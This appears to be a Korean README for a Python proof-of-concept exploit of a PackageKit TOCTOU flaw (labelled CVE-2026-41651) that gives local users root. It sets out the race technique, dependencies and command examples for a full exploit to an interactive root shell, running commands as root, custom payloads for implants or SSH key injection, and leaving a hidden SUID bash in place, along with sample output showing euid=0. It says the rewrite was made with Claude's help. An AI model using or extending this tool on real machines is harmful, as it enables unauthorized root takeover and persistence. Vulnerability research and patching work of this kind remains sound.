
PackageKit TOCTOU 로컬 권한 상승 익스플로잇의 Python PoC입니다. 로컬의 권한이 없는 사용자는 인증 없이 root 권한으로 임의의 패키지를 설치할 수 있습니다.
| 항목 | 값 |
|---|---|
| CVE | CVE-2026-41651 |
| 구성 요소 | PackageKit 데몬(packagekitd) |
| 영향을 받는 버전 | 1.0.2 – 1.3.4 |
| 수정된 버전 | 1.3.5 |
| 영향 | 로컬 권한 상승 → root |
이 도구는 교육 및 승인된 보안 연구 목적으로만 제공됩니다.
취약한 OS: PackageKit >= 1.0.2 <= 1.3.4를 실행하는 모든 Linux 배포판.
PoC 제한 사항: 내장 패키지 빌더는
.deb파일만 생성하므로, 이 스크립트를 그대로 실행하려면 Debian/Ubuntu 호스트가 필요합니다. RPM 기반 시스템에서는--payload-script를 통해 사용자 지정 postinst 페이로드를 제공하고dpkg/dpkg-dev를 사용할 수 있는지 확인하거나, 빌더를 수정하세요.
Python: 3.6+
시스템 패키지(Debian/Ubuntu):
sudo apt install python3-dbus python3-gi gir1.2-glib-2.0
의존성 관련 참고:
python3-dbus와python3-gi는 Python 표준 라이브러리가 아니지만, 그래픽 데스크톱 환경(GNOME, KDE, XFCE 등)을 실행하는 머신에는 거의 항상 이미 설치되어 있습니다. 이러한 환경이 이 라이브러리들을 직접 의존하기 때문입니다. 표준 Ubuntu Desktop 설치에서는 두 라이브러리 모두 수동 설치 없이 사용할 수 있습니다. GUI가 없는 최소 서버에는 없을 수 있으므로, 그 경우 위의apt install에는 sudo가 필요하며 이는 LPE 상황과 모순됩니다. 실제로 데스크톱 세션에서 PackageKit을 실행하는 모든 머신에는 이러한 의존성이 이미 충족되어 있습니다.
gir1.2-glib-2.0은 GLib용 GObject Introspection typelib 파일을 제공합니다.python3-gi는 Python 바인딩 엔진이지만, GLib과 통신하는 방법을 알기 위해서는 이러한 typelib 파일이 필요합니다. 이 패키지가 없으면python3-gi가 설치되어 있어도from gi.repository import GLib이 실패합니다. 둘 다 모든 GNOME 기반 데스크톱에서 자동으로 설치됩니다.
표준 라이브러리 전용 시도에 대한 참고: 이 PoC의 이전 버전은 D-Bus 호출을
gdbus/dbus-send하위 프로세스로 대체하고, 그런 다음 Unix 소켓을 통해 D-Bus 와이어 프로토콜을 직접 사용하는 방식으로 이러한 의존성을 완전히 제거하려고 시도했습니다. 두 접근 방식 모두 TOCTOU 레이스를 안정적으로 트리거하지 못했습니다. 외부 프로세스를 생성하면 두InstallFiles호출 사이에 충분한 지연이 발생하여 PackageKit이 Step 2가 도착하기 전에 Step 1을 처리하고, 레이스가 깨집니다.dbus-python바인딩은 포크 오버헤드 없이 이미 열려 있는 동일한 소켓에서 두 호출을 fire-and-forget으로 전송하며, 이것이 타이밍이 맞는 이유입니다. 이런 이유로 표준 라이브러리 전용 버전은 되돌려졌습니다.
PackageKit 버전 확인(PoC 없이):
pkcon --version 2>/dev/null || dpkg -l packagekit | grep ^ii
usage: cve-2026-41651.py [-h] [--check] [--exec CMD]
[--payload-script FILE] [--suid-path PATH]
[--no-cleanup] [--timeout N] [--quiet]
예제:
# Check if the target is vulnerable (no exploit)
python3 cve-2026-41651.py --check
# Full exploit → interactive root shell
python3 cve-2026-41651.py
# Run a single command as root
python3 cve-2026-41651.py --exec "id"
# Custom payload (implant, SSH key injection…)
python3 cve-2026-41651.py --payload-script /tmp/hook.sh
# Keep the SUID bash after exit, custom path
python3 cve-2026-41651.py --suid-path /tmp/.mybash --no-cleanup
# Scriptable / fast mode
python3 cve-2026-41651.py --timeout 60 --quiet
예상 출력:
═══════════════════════════════════════════════════
CVE-2026-41651 / PackageKit TOCTOU LPE
═══════════════════════════════════════════════════
[*] Building packages (pure Python)...
[+] dummy : /tmp/.pk-dummy-1337.deb
[+] payload : /tmp/.pk-payload-1337.deb
[*] Transaction : /1_acdcacbe
[*] Step 1 : InstallFiles(SIMULATE=0x4, dummy) [async]
[*] Step 2 : InstallFiles(NONE=0x0, payload) [async]
[*] Waiting for dispatch (30 s max)...
[!] PK error 48: Failed to obtain authentication.
[*] Finished (exit=2, 10 ms)
[*] Polling for payload (120 s max)...
[+] SUCCESS: SUID bash at t+200ms
uid=1001(victim) gid=1001(victim) euid=0(root) groups=1001(victim)
Vozec의 원본 C PoC를 기반으로 합니다. 이식성을 위해 Python으로 재작성되었습니다. 익스플로잇 기술에 대한 모든 크레딧은 원저작자에게 있습니다.
Python 재작성은 Claude(Anthropic)의 도움을 받아 개발되었습니다.
| 플래그 | 설명 |
|---|
--check | PackageKit 버전을 조회하고 취약 여부를 보고한 후 종료합니다 |
--exec CMD | 대화형 셸을 여는 대신 root 권한으로 단일 명령을 실행합니다 |
--payload-script FILE | 내장 SUID bash 드로퍼 대신 사용자 지정 postinst 스크립트를 사용합니다 |
--suid-path PATH | SUID bash를 생성할 위치(기본값: /tmp/.suid_bash) |
--no-cleanup | 셸 종료 후에도 SUID bash를 유지합니다 |
--timeout N | SUID bash를 폴링할 시간(초)(기본값: 120) |
--quiet | 진행 출력을 표시하지 않습니다(스크립팅용) |